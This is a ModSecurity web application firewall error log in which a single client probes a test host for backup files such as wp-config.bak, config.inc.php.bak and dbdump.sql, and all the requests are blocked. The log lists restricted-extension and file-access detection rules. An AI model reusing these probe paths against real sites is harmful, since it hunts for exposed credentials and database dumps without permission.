[Thu Feb 26 01:03:31.801109 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak1&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLijwAAAAE&quot;]
[Thu Feb 26 01:03:31.813347 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwAAAAAA&quot;]
[Thu Feb 26 01:03:31.813826 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwAAAAAA&quot;]
[Thu Feb 26 01:03:31.813973 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/dbdump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwAAAAAA&quot;]
[Thu Feb 26 01:03:31.833806 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikAAAAAE&quot;]
[Thu Feb 26 01:03:31.834285 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikAAAAAE&quot;]
[Thu Feb 26 01:03:31.834475 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.inc.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikAAAAAE&quot;]
[Thu Feb 26 01:03:31.838877 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwQAAAAA&quot;]
[Thu Feb 26 01:03:31.839159 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.bak&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.bak found within REQUEST_FILENAME: /wp-config.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwQAAAAA&quot;]
[Thu Feb 26 01:03:31.839371 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwQAAAAA&quot;]
[Thu Feb 26 01:03:31.839539 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.bak&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwQAAAAA&quot;]
[Thu Feb 26 01:03:31.855684 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikQAAAAE&quot;]
[Thu Feb 26 01:03:31.856163 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikQAAAAE&quot;]
[Thu Feb 26 01:03:31.856329 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connect.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikQAAAAE&quot;]
[Thu Feb 26 01:03:31.886591 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwgAAAAA&quot;]
[Thu Feb 26 01:03:31.887058 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwgAAAAA&quot;]
[Thu Feb 26 01:03:31.887220 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config-sample.php.bak&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwgAAAAA&quot;]
[Thu Feb 26 01:03:31.918473 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikgAAAAE&quot;]
[Thu Feb 26 01:03:31.919031 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikgAAAAE&quot;]
[Thu Feb 26 01:03:31.919233 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connection.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikgAAAAE&quot;]
[Thu Feb 26 01:03:31.933457 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwwAAAAA&quot;]
[Thu Feb 26 01:03:31.933698 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwwAAAAA&quot;]
[Thu Feb 26 01:03:31.933877 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak1&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizwwAAAAA&quot;]
[Thu Feb 26 01:03:31.940311 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikwAAAAE&quot;]
[Thu Feb 26 01:03:31.940831 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikwAAAAE&quot;]
[Thu Feb 26 01:03:31.940997 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.php.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLikwAAAAE&quot;]
[Thu Feb 26 01:03:31.962470 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLilAAAAAE&quot;]
[Thu Feb 26 01:03:31.962975 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conn.asp.bak&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLilAAAAAE&quot;]
